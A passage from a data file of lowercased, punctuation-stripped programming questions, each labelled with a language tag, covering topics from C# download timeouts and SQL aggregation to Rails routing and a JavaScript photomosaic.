bool haserror { get { return error != null; } }      private bool firstbytereceived = false;     private bool success = true;     private bool cancelduetoerror = false;      private eventwaithandle asyncwait = new manualresetevent(false);     private timer aborttimer = null;     private bool isdisposed = false;      const long one_mb = 1024 * 1024;      public delegate void permbhandler(long totalmb);      public event permbhandler notifymegabyteincrement;      public mywebclient(int timeout = 60000  int timeuntilfirstbyte = 30000  int timebetweenprogresschanges = 15000)     {         this.timeout = timeout;         this.timeuntilfirstbyte = timeuntilfirstbyte;         this.timebetweenprogresschanges = timebetweenprogresschanges;          this.downloadfilecompleted += new system.componentmodel.asynccompletedeventhandler(mywebclient_downloadfilecompleted);         this.downloadprogresschanged += new downloadprogresschangedeventhandler(mywebclient_downloadprogresschanged);          aborttimer = new timer(abortdownload  null  timeuntilfirstbyte  system.threading.timeout.infinite);     }      protected void onnotifymegabyteincrement(long totalmb)     {         if (notifymegabyteincrement != null) notifymegabyteincrement(totalmb);     }      void abortdownload(object state)     {         cancelduetoerror = true;         this.cancelasync();         success = false;         error = firstbytereceived    download aborted due to &gt;  + timebetweenprogresschanges +  ms between progress change updates.  :  no data was received in   + timeuntilfirstbyte +  ms ;         asyncwait.set();     }      void mywebclient_downloadprogresschanged(object sender  downloadprogresschangedeventargs e)     {         if (cancelduetoerror || isdisposed) return;          long additionalbytesreceived = e.bytesreceived - previousbytesreceived;         previousbytesreceived = e.bytesreceived;         bytesnotnotified += additionalbytesreceived;          if (bytesnotnotified &gt; one_mb)         {             onnotifymegabyteincrement(e.bytesreceived);             bytesnotnotified = 0;         }         firstbytereceived = true;         aborttimer.change(timebetweenprogresschanges  system.threading.timeout.infinite);     }      public bool downloadfilewithevents(string url  string outputpath)     {         asyncwait.reset();         uri uri = new uri(url);         this.downloadfileasync(uri  outputpath);         asyncwait.waitone();          return success;     }      void mywebclient_downloadfilecompleted(object sender  system.componentmodel.asynccompletedeventargs e)     {         if (cancelduetoerror || isdisposed) return;         asyncwait.set();     }      protected override webrequest getwebrequest(uri address)     {                     var result = base.getwebrequest(address);         result.timeout = this.timeout;         return result;     }      void idisposable.dispose()     {         isdisposed = true;          if (asyncwait != null) asyncwait.dispose();         if (aborttimer != null) aborttimer.dispose();          base.dispose();     } } </code></pre>,.net
what is partial trust application   recently i get to touch with partial trust application. could you explain in some common words  or give me an example  when should i think about this issue  i am trying to find some documents in the web  but i found very little. so i come to think maybe this is not used often in today s .net programming. is this true,.net
cannot cast string type to object in java   can i cast object type to string     eg: a method <code>getresponse()</code> returns <code>object</code> type of class <code>request</code>.   <pre><code> string s1=(string)req.getresponse(); </code></pre>,java
i am trying to write a program that determines if the sequence of characters is valid or invalid  if the user enters any character other than acgt (sequence does not matter) then it should print  invalid . the user just keeps entering the sequence not more than 250 characters.    <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; int main(void) {     char dna[250]; int i; for(i=0; i&lt;250; i++) {     scanf( %c   dna[i]); } fgets(*dna  250  scanf( %c   dna)); int k; for(k=0; k&lt;250; k++) {     if(dna[k] ==  a  ||  c  ||  g ||  t )     {         i++;         //printf( %c\n   dna[0])     } } if(i &gt; 0) {     printf( valid sequence \n ); } else {     printf( invalid sequence \n ); }  } </code></pre>,c
percentage in-between variables  i have an assignment to write a code that prints out all prime numbers between 1-100. i am looking at different programs to get an idea on what to do and keep running into i.e.  if (x%c == 0) .    now i can t find out what the  x%c  means. i ve looked around a lot and can t find any good answers anywhere. possibly because of searching for the wrong thing. what exactly does that do in the following code    <pre><code>#include&lt;stdio.h&gt;  int main() {    int n  i = 3  count  c;     printf( enter the number of prime numbers required\n );    scanf( %d  &amp;n);     if ( n &gt;= 1 )    {       printf( first %d prime numbers are :\n  n);       printf( 2\n );    }     for ( count = 2 ; count &lt;= n ;  )    {       for ( c = 2 ; c &lt;= i - 1 ; c++ )       {          if ( i%c == 0 )             break;       }       if ( c == i )       {          printf( %d\n  i);          count++;       }       i++;    }     return 0; } </code></pre>,c
comparing input with certain line of text file  i have tried to code part of a program which compares the input with the fifth line of the text file called name. the file has text on each line  and with the current code it only works if there is only one line of text in the file (blank lines before line 5) but i need it to work when the file has 30 lines of text.  the text file looks like this:   <pre><code>john james bob jim jack harry oliver </code></pre>   what needs changing to my code:   <pre><code> names = input( enter name:  )    with open( name ) as f:        for line in f:            if line[4].split( \n ) == names:                print ( correct )        else:            print( incorrect ) </code></pre>,python
splitting a string between two reoccurring characters  i have dynamic values in a variables  each separated with [ and ] e.g.   <pre><code>var data= [continuing] [returning]  ; or var data= [acct_bba]  ; or var data= [12001] [12009] [21077] [13880]  ; var data= [13880]  ; </code></pre>   is there a way to use the split function to extract the values between the [ and the ] from above    <pre><code>var arr= data.split( &lt;what goes here &gt; ); </code></pre>   e.g. on the last example to retrieve: 12001  12009  21077  13880,javascript
trying to iterate through hashmap and add to jcombobox  i m trying to iterate through the hashmap and add the contents to the combobox. however  it fires off a null error.       <pre><code>comboboxmodel jcombobox1model =                          new defaultcomboboxmodel();               iterator it = cashcheckout.products.keyset().iterator();             while(it.hasnext())             {                 jcombobox1.additem(cashcheckout.products.get(it.next()));             }              jcombobox1 = new jcombobox();             getcontentpane().add(jcombobox1);               jcombobox1.setmodel(jcombobox1model);             jcombobox1.setbounds(362  139  111  22); </code></pre>   cashcheckout:   <pre><code>public class checkout {     //add products class to the checkout     products pd = new products();     //add the hashmaps that were created in products class.     hashmap&lt;string  productdetails&gt; products = pd.getproductshashmap();     hashmap&lt;string  productdetails&gt; scanned = pd.getscannedhashmap(); </code></pre>   the gui then fires off errors complaining at the additem line. nullpointerexception  even though this hashmap is populated. why is this,java
sql query to find difference between date  i need a sql query which will find the difference between two dates . i have already tried the   between clause query but it include the starting date . but  i need a query that exclude the start date . and so please provide me a different one.,sql
beginner c++: strange behaviour  thanks for taking the time to read this question!     the program is to find the smallest prime number after one billion. at the end of int main() i included a console input <code>cin&gt;&gt;x;</code>with the intention of preventing the command prompt from closing too quickly so i can see the result. however  i realised that i must first enter something before it shows me the result i want.     so the question is: why is this so even though the console output  statement  <code>cout&lt;&lt;i;</code>is before the input statement <code>cin&gt;&gt;x;</code>    <pre><code>#include &lt;iostream&gt; #include &lt;math.h&gt; using namespace std;  int is_prime(int x);  int main() {     for (int i=100000000;;i++){          if(is_prime(i)){                  cout&lt;&lt;i;                 break;}     int x;     cin&gt;&gt;x;         }  }  int is_prime(int x) {     double maxvalue = sqrt(static_cast&lt;double&gt;(x));     for ( int i=2;i&lt;=maxvalue;i++){         if (x%i == 0 ) return false; }         return true; } </code></pre>,c++
how to check the occurence of the selectedindexchange event of a dropdownlist  how can we check whether the selectedindexchange event of a dropdownlist is fired or not  can we use a boolean varible or is there any predefined method to do that,asp.net
use of uiscrollview to scroll page and every time showing updates values of selected item  my app is shown with two views table view on the upper side n scrollview on the lower side  now when user selects the item from the table view its corresponding values should be displayed in scrollview. when user scrolls page  the other values related to selected item should be displayed on second page with newer labels.. and user return back to previous page the content should remain same as they were before scrolling. how to accomplish this,objective-c
link_to article.node.nodename  topics_path(node) occur http://localhost:3000/topics.8  my index.html.haml pages is:   <pre><code>.panel-heading   %p.panel-title article    .panel-body.row      - @article.each do |article|       %h5.col-md-6.clearfix         = link_to article.title  article  style:  color: black ;           %span.badge.pull-right             = article.comments.count         .info.text-muted          = link_to article.node.nodename  topics_path(article.node.id)          &amp;bull;          = article.comments.last.created_at </code></pre>   routes:   <pre><code>            articles get    /articles(.:format)                               articles#index                      post   /articles(.:format)                               articles#create          new_article get    /articles/new(.:format)                           articles#new         edit_article get    /articles/:id/edit(.:format)                      articles#edit              article get    /articles/:id(.:format)                           articles#show                      patch  /articles/:id(.:format)                           articles#update                      put    /articles/:id(.:format)                           articles#update                      delete /articles/:id(.:format)                           articles#destroy               topics get    /topics(.:format)                                 topics#index                topic get    /topics/:id(.:format)                             topics#show                sites get    /sites(.:format)                                  sites#index                 jobs get    /jobs(.:format)                                   jobs#index                notes get    /notes(.:format)                                  notes#index                      post   /notes(.:format)                                  notes#create             new_note get    /notes/new(.:format)                              notes#new            edit_note get    /notes/:id/edit(.:format)                         notes#edit                 note get    /notes/:id(.:format)                              notes#show                      patch  /notes/:id(.:format)                              notes#update                      put    /notes/:id(.:format)                              notes#update                      delete /notes/:id(.:format)                              notes#destroy                 root get    /                                                 articles#index </code></pre>   db <code>article</code> and <code>node</code> association have builded:   <pre><code>article(id: integer  title: string  text: text   created_at: datetime  updated_at: datetime  user_id: integer  node_id: integer article_img_file_name: string  article_img_content_type: string  article_img_file_size: integer  article_img_updated_at: datetime)  node(id: integer  nodename: string  created_at: datetime  updated_at: datetime) </code></pre>   <code>the question is:</code>    i was click the <code>a</code> tag show this:   <pre><code>http://localhost:3000/topics.8 </code></pre>   have tried   <ol> <li> <code>= link_to article.node.nodename  topics_path(article.node)</code>    but don t make sense    i thonght may <code>link_to</code> syntax wrong </li> </ol>   what is the problem  how can i solve it   thanks,ruby-on-rails
search the contents of a table in rails  i want to place a searchbox on my table to filter it according to <code>eventtitle</code>.    any ideas how i can go about this  i ve tried two tutorials but it didn t work. i ve also tried the filterrific gem but it didnt work either.    so far i just have this loading my table in the controller   <pre><code>@newevents = event.order( id ).page(params[:page]).per(50) </code></pre>   and this in my view   <pre><code>&lt;table class= table &gt;     &lt;thead&gt;       &lt;tr&gt;         &lt;th&gt;id&lt;/th&gt;         &lt;th&gt;eventname&lt;/th&gt;         &lt;th&gt;date&lt;/th&gt;         &lt;th&gt;time&lt;/th&gt;         &lt;th&gt;link&lt;/th&gt;       &lt;/tr&gt;     &lt;/thead&gt;     &lt;tbody&gt;       &lt;% @newevents.each do |ne| %&gt;       &lt;% if ne.eventready.blank %&gt;       &lt;tr&gt;         &lt;td&gt;&lt;%= ne.id %&gt;&lt;/td&gt;         &lt;td&gt;&lt;%= ne.eventname %&gt;&lt;/td&gt;         &lt;td&gt;&lt;%= ne.date %&gt;&lt;/td&gt;         &lt;td&gt;&lt;%= ne.time %&gt;&lt;/td&gt;         &lt;td&gt;&lt;%= link_to  edit event   edit_event_path(ne.id)  class:  btn btn-info  %&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;% end %&gt;       &lt;% end %&gt;      &lt;/tbody&gt;   &lt;/table&gt; &lt;%= paginate @newevents %&gt; </code></pre>,ruby-on-rails
how to concatenate a character and two or more integers in python and store them for further use in the program   here in my code i want to concatenate a character <code>d</code> and two integers <code>l</code> and <code>i</code> in a for loop.   <pre><code>l = 1 for root  dirs  files in os.walk(r d:\python_programs\b1 ): p = root.split( \\ ) noofdir = len(dirs)                 #here noofdir is 2 for my directory structure     for i in range(0  noofdir):         dli = p[-1] + os.sep + dirs[i]         print(dli) </code></pre>   <strong>desired output:</strong>   <pre><code>b1\new1    # as d10 b1\new2    # as d11 </code></pre>   here <code>new1</code> and <code>new2</code> are the two child directories of root directory <code>b1</code>. as well i want to use <code>d10</code> and <code>d11</code> for further use.,python
remove text from column in sql database  i need to remove some text from a sql db in a metadata colum that s taking up too much space and isn t necessary.   <pre><code>imagedescription:               make:nikon     model:coolpix l26     orientation:1     xresolution:300     yresolution:300     resolutionunit:2     software:coolpix l26    v1.0     datetime:2013:01:05 05:43:12     ycbcrpositioning:2     exposuretime:0.04     fnumber:3.2     exposureprogram:2     isospeedratings:200     exifversion:3836042731 664497658 2489535484 2327246609     datetimeoriginal:2013:01:05 05:43:12     datetimedigitized:2013:01:05 05:43:12     componentsconfiguration:185856 59901696 256 1280     compressedbitsperpixel:2     exposurebiasvalue:0     maxaperturevalue:3.4     meteringmode:5     lightsource:0     flash:24     focallength:4.6     usercomment:0 0 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 2105376 16973830 65539 393216 18481972 65541 62128128 18546688 65541 62652416 19398656 65539 131072 33685414 65540 63176704 33685504 65540 223674368 0 19660800 65536 19660800 65536 3640590336 2214648831 202051584 269093902 302910734 403902481 370678312 590419990 975707429 960249139 1077360691 1078877256 927291204 1366118456 1734500183 1295935336 1685092721 1734696056 303104355 404035602 790239791 1110983267 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 3237962595 528640 60817528 33562881 285409553 29687553 16777378 16843013 65793 0 16777216 84148994 151521030 1051402 50528514 84083714 263173 24969472 67109634 554829073 319177009 570909009 2167542897 587768209 365015362 619762002 2188534323 387320329 622467352 690497318 909456426 976828471 1178944579 1246316615 1448432723 1515804759 1717920867 1785292903 1987409011     flashpixversion:1687135923 3231872644 1301805154 2554547069     colorspace:1     pixelxdimension:640     pixelydimension:480     filesource:3     scenetype:1     customrendered:0     exposuremode:0     whitebalance:0     digitalzoomratio:0     focallengthin35mmfilm:26     scenecapturetype:0     gaincontrol:1     contrast:0     saturation:0     sharpness:0     subjectdistancerange:0    </code></pre>   i want to get rid of the usercomment part of that text. so far i have this that will remove anything left of the usercomment.   <pre><code>update document set metadata = left(metadata  charindex( usercomment:   metadata) -1) where metadata is not null and metadata like  %usercomment:%  and documentid =  480024   </code></pre>   but i just want to get rid of the usercomment and not anything before or after that.    here is a sample of just the usercomment  it seems to not have any spaces.   <pre><code>      usercomment:0 0 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 538976288 2105376 16973830 65539 393216 18481972 65541 62128128 18546688 65541 62652416 19398656 65539 131072 33685414 65540 63176704 33685504 65540 223674368 0 19660800 65536 19660800 65536 3640590336 2214648831 202051584 269093902 302910734 403902481 370678312 590419990 975707429 960249139 1077360691 1078877256 927291204 1366118456 1734500183 1295935336 1685092721 1734696056 303104355 404035602 790239791 1110983267 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 1667457891 3237962595 528640 60817528 33562881 285409553 29687553 16777378 16843013 65793 0 16777216 84148994 151521030 1051402 50528514 84083714 263173 24969472 67109634 554829073 319177009 570909009 2167542897 587768209 365015362 619762002 2188534323 387320329 622467352 690497318 909456426 976828471 1178944579 1246316615 1448432723 1515804759 1717920867 1785292903 1987409011  </code></pre>   any help will be appreciated.,sql
add external html template in angularjs  i am using a directive to inject some specific content on my page. we have a requirement when the url attribute points to an html file and the contents of that file need to be rendered on my page. how can i do that     <pre><code>&lt;section&gt; &lt;block-with-html  url =  locatiion of html file &gt; &lt;/block-with-html&gt; &lt;/section&gt;  angular .module( app.blockwithhtml   []) .directive( blockwithhtml   blockwithhtmldirective);   function blockwithhtmldirective(configblocksservice) {    return {      restrict:  e        scope: {        url:  =       }       template: `        &lt;section  &gt;          &lt;h4&gt;block with html&lt;/h4&gt;          &lt;div&gt;content form the html file goes here&lt;/div&gt;        &lt;/section&gt;      `     }  } </code></pre>,angularjs
onbeforeunload function works in ie not in mozilla why   i am using <strong>onbeforeunload</strong> function to alert the user before he closes his browser window. this works in ie  but not in mozilla..is there any solution for this  or with the help of jquery can we attain it     thanks in advance sooraj,javascript
asp.net a problem with panel direction property  i add a user control dynamically (which only contains a table) to the panel:   <pre><code>&lt;asp:panel id= panel  runat= server             scrollbars= horizontal  width= 160  direction= lefttoright &gt;  &lt;/asp:panel&gt;  </code></pre>   when i add e.g. two user controls  they have vertical direction. why   i want them set from left to right (horizontally),asp.net
copy/paste functionality in uitableviewcontroller  i have a uitableviewcontroller. i want to pop the copy/paste menu up when the user touches a cell. i want to do as in the contacts app. how to implement this functionality. can someone help me.    i tried this code    <pre><code>uimenucontroller *themenu = [uimenucontroller sharedmenucontroller]; [themenu settargetrect:cgrectmake(10  200  100  40) inview:[self tableview]]; [themenu setmenuvisible:yes animated:yes]; </code></pre>   but it doesn t work. my question is    <ol> <li>what cgrect i have to pass as the settargetrect parameter </li> <li>do i need to call setneedsdisplayinrect in my tableviewcontroller </li> <li>what else to do to make this work </li> </ol>,iphone
help me please  to check this code  why it run catch   android <pre><code>public void getdatapermission() {      final textview twcheck = (textview) findviewbyid(r.id.textview1);     final textview twpackageinfo = (textview) findviewbyid(r.id.textview2);     final listview lwpackage = (listview) findviewbyid(r.id.listview1);     packagemanager pm = lwpackage.getcontext().getpackagemanager();     permissioninfo permissions;     try {         permissions = pm.getpermissioninfo( com.android.music                   packagemanager.get_providers);         iterator it = ((collection&lt;packageinfo&gt;) permissions).iterator();         // temporary string         string temp =   ;         // counter package         int i = 0;         while (it.hasnext()) {             packageinfo rf = (packageinfo) it.next();             temp = rf.tostring();             twpackageinfo.append(temp);         }          temp = permissions.tostring();         twpackageinfo.append(temp);         twcheck.append(  : process try );      } catch (namenotfoundexception e) {         // todo auto-generated catch block         twcheck.append(  : process catch );         e.printstacktrace();     }  } </code></pre>   in my emulator has package:com.android.music. i don t understand that why app process catch  app should be to process catch. why     sorry for my bad english.,android
undefined variable on foreach   warning: invalid argument supplied for foreach() <pre><code>&lt; php include  post.php ; include  db.php ; mysqli_select_db($pdo   ocp ) or die( no db connection ); exit();  $q =  select * from posttbl  ; $res = mysqli_query($pdo  $q); foreach($res as $row){     $sells[]=array( postid =&gt;$row[ postid ]  title =&gt;$row[ title ]  desc =&gt;$row[ desc ]); }   &gt; </code></pre>   the error is  undefined variable:  sells   on line 12..am i missing something  i cant seem to find it..or am i using for each right  this code was actually working at school then when i tried it here at home that error came out of no where. all errors are in line 12 which is     im sorry guys ive re checked the problem and it was on my other page post.php   <pre><code>&lt;html&gt; &lt;body&gt; &lt;h3&gt;selling&lt;/h3&gt;  &lt;table border= 1  width= 50% &gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;title&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt; php  foreach ($sells as $sell) :  &gt;  &lt;----------*this is supposed to be the problem &lt;tr&gt; &lt;td&gt;&lt; php echo $sell [ title ];  &gt;&lt;/td&gt; &lt;/tr&gt; &lt; php endforeach;  &gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   where would i put the  array();  beside the foreach  also sorry about the $pdo i just used it as a variable..i used mysqli for my database...sorry i got the habit of using $pdo as my variable database so sorry its a bad habit.,php
best solution for sql without looping  i m relatively new to sql  and am trying to find the best way to attack this problem.    i am trying to take data from 2 tables and start merging them together to perform analysis on it  but i don t know the best way to go about this without looping or many nested subqueries.    what i ve done so far: i have 2 tables. table1 has user information and table2 has information on orders(prices and dates  as well as user)    what i need to do: i want to have a single row for each user that has a summary of information about all of their orders. i m looking to find the sum of prices of all orders by each user  the max price paid by that user  and the number of orders.  i m not sure how to best manipulate my data in sql.    currently  my code looks as follows:   <pre><code>select alias1.*  table2.order_id  table2.price  table2.order_date from (select * from table1 where country= united states ) as alias1 left join table2 on alias1.user_id = table2.user_id </code></pre>   this filters out the datatypes by country  and then joins it with users  creating a record of each order including the user information.  i don t know if this is a helpful step  but this is part of my first attempt playing around with the data.  i was thinking of looping over this  but i know that is against the spirit of sql    edit: here is an example of what i have and what i want:    table 1(user info):   <pre><code>user_id    user_country 1          united states 2          united kingdom (etc) </code></pre>   table 2(order info):   <pre><code>order_id    price    user_id 100         5.00     1 101         3.50     2 102         2.50     1 103         1.00     1 104         8.00     2 </code></pre>   what i would like output:   <pre><code>user_id    user_country      total_price   max_price    number_of_orders 1          united states     8.50          5.00         3 2          united kingdom    11.50         8.00         2 </code></pre>,sql
rails routing: changing the  show  path for a resource  i would like to change the <code>show</code> path to make it more seo friendly. the code below throws an error when trying to go to <code>edit</code>    <strong>routes.rb</strong>   <pre><code>resources :posts  :only =&gt; [:index  :new  :create  :update  :edit]  match  posts/:id/:league_name/:post_description   to:  posts#show   :as =&gt; :post  via: :get </code></pre>   <strong>error:</strong>   <pre><code>no route matches {:controller=&gt; posts   :action=&gt; show   :format=&gt;nil  :id=&gt;#&lt;post id: 1  title:  2 pick parlay   content:  &lt;h1&gt;here you go&lt;/h1&gt;\r\nstarting off the season right...   link: nil  created_at:  2016-07-31 21:45:40   updated_at:  2016-07-31 22:01:58   user_id: 2  league_id: 1  initial_status: nil  home_team:     favorite:     points: nil  visiting_team:     event_datetime:  2016-09-09 00:30:00   spread_home: nil  spread_away: nil  total_points: nil  user_spread: nil  user_team_pick: nil  user_total_pick: nil  user_total_points: nil  user_line_source: nil  post_type: nil  event_id: 137  subscriber_only: false  release_at_gametime: false  is_parlay: true  flagged: false  weight: 1  post_description:  pick &gt;} </code></pre>   when i take out the <code>form_for</code> on the <code>edit</code> page .. the page renders. so the problem must be in this code which is on the <code>edit</code> page    <strong>offending code in edit.haml.html:</strong>   <pre><code>    = form_for(@post) do |f|      %h3       title for write up     = f.text_field(:title  :class =&gt;  field span8 )     %br     %br     %h3       your analysis     = f.text_area(:content  :class =&gt;  field span8   :rows =&gt;  5 )     &lt;br/&gt;     = f.hidden_field(:league_id)       = f.hidden_field(:event_id)      = f.hidden_field(:home_team)      = f.hidden_field(:visiting_team)     = f.hidden_field(:favorite)      = f.hidden_field(:points)      = f.hidden_field(:event_datetime)       %br     %br       %h4       - if @picks_tweet_string &amp;&amp; @just_this_post_tweet_string         - if @just_this_post_tweet_string.size &gt; 130           = link_to  tweet these picks out now    https://twitter.com/intent/tweet text=#{@just_this_post_tweet_string}   confirm:  click ok below. then you may need to shorten the tweet to 140 characters. most people remove the city name from the picks.          - else             = link_to  tweet these picks out now    https://twitter.com/intent/tweet text=#{@just_this_post_tweet_string}          %br           - if @picks_tweet_string.size &gt; 130           = link_to  i want to tweet my current full card    https://twitter.com/intent/tweet text=#{@picks_tweet_string}   confirm:  click ok below. then you may need to shorten the tweet to 140 characters. most people remove the city name from the picks.          - else             = link_to  i want to tweet my current full card    https://twitter.com/intent/tweet text=#{@picks_tweet_string}            %br         %br       = f.submit  sumbit this write-up   class:  btn-xlarge btn-block btn-primary       %br     %br     = f.submit  no additional write-up   class:  btn-xlarge btn-block btn-primary  </code></pre>   any ideas what is wrong with that,ruby-on-rails
handling of tableviewcontroller  possible to go to either of two controllers with one being a uiwebviewcontroller  noob at ios development. this is simply a feasibility question. i wanted to see if it was possible to have a tableviewcontroller and  based upon the type of data that is pushed into the cell  have it do a pushviewcontroller between two different controllers.     like say for example  we have locations and people that can be returned as search results and we either want to do a pushviewcontroller with either a profilecontroller or a locationcontroller  would it matter if one of the controllers were a uiwebview     thx      <strong>edit 1</strong> i guess i m looking for a way to say if a tableview cell responds to a particular message similar to this question <a href= https://stackoverflow.com/questions/1123485/in-objective-c-given-an-id-how-can-i-tell-what-type-of-object-it-points-to >in objective-c  given an id  how can i tell what type of object it points to </a> and determine which uiviewcontroller to push.,ios
"why opacity applied to select is not applied to options   opacity applied to <code>&lt;select&gt;</code> is not applied to <code>&lt;option&gt;</code> which is a child element  why     this feature allows to make custom dropdown lists that look consistent on different platforms but at the same time preserve native behaviour of the options. <a href= http://jsfiddle.net/2k02qtus/  rel= nofollow >example one</a>  <a href= http://guitar.creator.nz/  rel= nofollow >example two</a>.     i wonder how reliable this behaviour is. is it a standard or a trick     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>select {
   opacity: 0;
   border: none;
   height: 24px;
   display: block;
   margin-top: -24px;
   border: 1px solid red;
   width: 100%;
 }
 div {
   display: inline-block;
   border: 1px solid #ccc;
   border-radius: 4px;
 }
 span {
   display: block;
   padding: 0 10px;
   line-height: 24px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div&gt;
   &lt;span&gt;click me&lt;/span&gt;
   &lt;select&gt;
     &lt;option&gt;opt 1&lt;/option&gt;
     &lt;option&gt;opt 2&lt;/option&gt;
     &lt;option&gt;opt 3&lt;/option&gt;
   &lt;/select&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
scroll div on pagescroll but stop after certain amount  i have currently got an element to scroll on page scroll and i am looking to get it to stop after around 750px as it currently overlaps the footer on smaller monitors.    i have found a couple of other examples which would require some restructuring of my code which i am trying to avoid  as the various other examples have to have certain divs relevant to eachother in order to stop the scrolling div at a certain point on the page.    my current script is as below and wrks great  only i am unsure as to edit this to stop the div at a certain point:   <pre><code>&lt;script type= text/javascript &gt; $(function(){ var btn = $( .overview-wrap ); var btnpostop = btn.offset().top; var win = $(window); win.scroll(function(e){     var scrolltop = win.scrolltop();     if(scrolltop &gt;= btnpostop){         btn.css({position: fixed  top:0 margintop:0});     }else if(btn.css( position ) ===  fixed ){         btn.css({position:   top:   margintop: 20px });     } }); }); &lt;/script&gt; </code></pre>   any pointers would be appreciated.,javascript
fade in effect for ng-repeat  for inserting elements at the top of a list  i ve seen examples on how to fade in when adding elements to the bottom  but not to the top.,angularjs
to find out whether a *.aspx page was changed  is there a way in asp.net to find out  wheter a *.aspx page was changed.    i need it to refresh a cached static variable in a base-page constructor.    thank and best regards.,asp.net
"replace average color pixel with images  i need to create a mosaic by replacing the pixel of an image on input with images for each colors. the images will be provided by me for some of the most important colors. obviously it shall be rounded up to the nearest color  because i can t use a picture for every rgb color. i found this code that i think it could be a good start but i don t know how replace a tile with an image.     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var tile_width=10;
 var tile_height=10;
 
 document.getelementbyid( input ).onchange = function () {
    var reader = new filereader();
    reader.onload = function (e) {
          // get loaded data and render thumbnail.
          document.getelementbyid( image ).src = e.target.result;
      };
       // read the image file as a data url.
       reader.readasdataurl(this.files[0]);
   };
     
       // first function call to create photomosaic 
   function photomosaic(image) {
 
       // dimensions of each tile
       var tilewidth = tile_width;
       var tileheight = tile_height;
 
       //creating the canvas for photomosaic
       var canvas = document.createelement( canvas );
       var context = canvas.getcontext( 2d );
       canvas.height = image.height;
       canvas.width = image.width;
 
       var imagedata = context.getimagedata(0  0  image.width  image.height);
       var pixels = imagedata.data;
 
       // number of mosaic tiles
       var numtilerows = image.width / tilewidth;
       var numtilecols = image.height / tileheight;
 
 
 
       //canvas copy of image
       var imagecanvas = document.createelement( canvas );
       var imagecanvascontext = canvas.getcontext( 2d );
       imagecanvas.height = image.height;
       imagecanvas.width = image.width;
       imagecanvascontext.drawimage(image  0  0);
       
 
       //function for finding the average color
       function averagecolor(row  column) {
           var blocksize = 1  // we can set how many pixels to skip
 
               data  width  height 
               i = -4 
               length 
               rgb = {
                   r: 0 
                   g: 0 
                   b: 0
               } 
               count = 0;          
 
           try {
               data = imagecanvascontext.getimagedata(column * tile_width  row * tile_height  tile_height  tile_width);
           } catch (e) {
               alert( not happening this time! );
               return rgb;
           }
 
           length = data.data.length;
 
           while ((i += blocksize * 4) &lt; length) {
               ++count; //
               rgb.r += data.data[i];
               rgb.g += data.data[i + 1];
               rgb.b += data.data[i + 2];
           }
 
           // ~~ used to floor values
           rgb.r = ~~(rgb.r / count);
           rgb.g = ~~(rgb.g / count);
           rgb.b = ~~(rgb.b / count);
 
           return rgb;
 
       }
 
       // loop through each tile
       for (var r = 0; r &lt; numtilerows; r++) {
           for (var c = 0; c &lt; numtilecols; c++) {
               // set the pixel values for each tile
               var rgb = averagecolor(r  c)
               var red = rgb.r;
               var green = rgb.g;
               var blue = rgb.b;
 
               // loop through each tile pixel
               for (var tr = 0; tr &lt; tileheight; tr++) {
                   for (var tc = 0; tc &lt; tilewidth; tc++) {
 
                       // calculate the true position of the tile pixel
                       var truerow = (r * tileheight) + tr;
                       var truecol = (c * tilewidth) + tc;
 
                       // calculate the position of the current pixel in the array
                       var pos = (truerow * (imagedata.width * 4)) + (truecol * 4);
 
                       // assign the colour to each pixel
                       pixels[pos + 0] = red;
                       pixels[pos + 1] = green;
                       pixels[pos + 2] = blue;
                       pixels[pos + 3] = 255;
                   };
               };
           };
       };
 
       // draw image data to the canvas
       context.putimagedata(imagedata  0  0);
       return canvas;
   }
 
   function create() {
       var image = document.getelementbyid( image );
       var canvas = photomosaic(image);
       document.getelementbyid( output ).appendchild(canvas);
   };
   </code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#output  .container {
  text-align: center;
 }
 .inputdiv {
  margin: 20px 0px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= container &gt;  
  &lt;img id= image /&gt;
  &lt;div class= inputdiv &gt;
   &lt;input id= input  type= file  accept= image/* &gt;
   &lt;button onclick= create() &gt;create&lt;/button&gt;
  &lt;/div&gt;
  &lt;div id= output &gt;&lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= https://jsfiddle.net/gurinderiitr/sx735l5n/  rel= nofollow noreferrer >code by gurinderiitr</a>",javascript
html - what does data-remote= true  do   i was just working on a project that was sending an extra request and it was because of <code>data-remote= true </code>. i ve seen this line plenty of times before  but i guess i don t really know what it does. i tried googling it but all that comes up are specific examples where data-remote isn t working for the question asker.    i just want to know what the purpose of <code>data-remote= true / false </code> is to get a better understanding of it.,html
how to add   remove and retrive a value from array or arraylist   i wanted to add element in array dynamically.size is not fixed.shall i use arraylist or array datatype is same.i am adding the value from database whose type is int.then which datatype shall i used how to add and remove a value from array or arraylist,asp.net
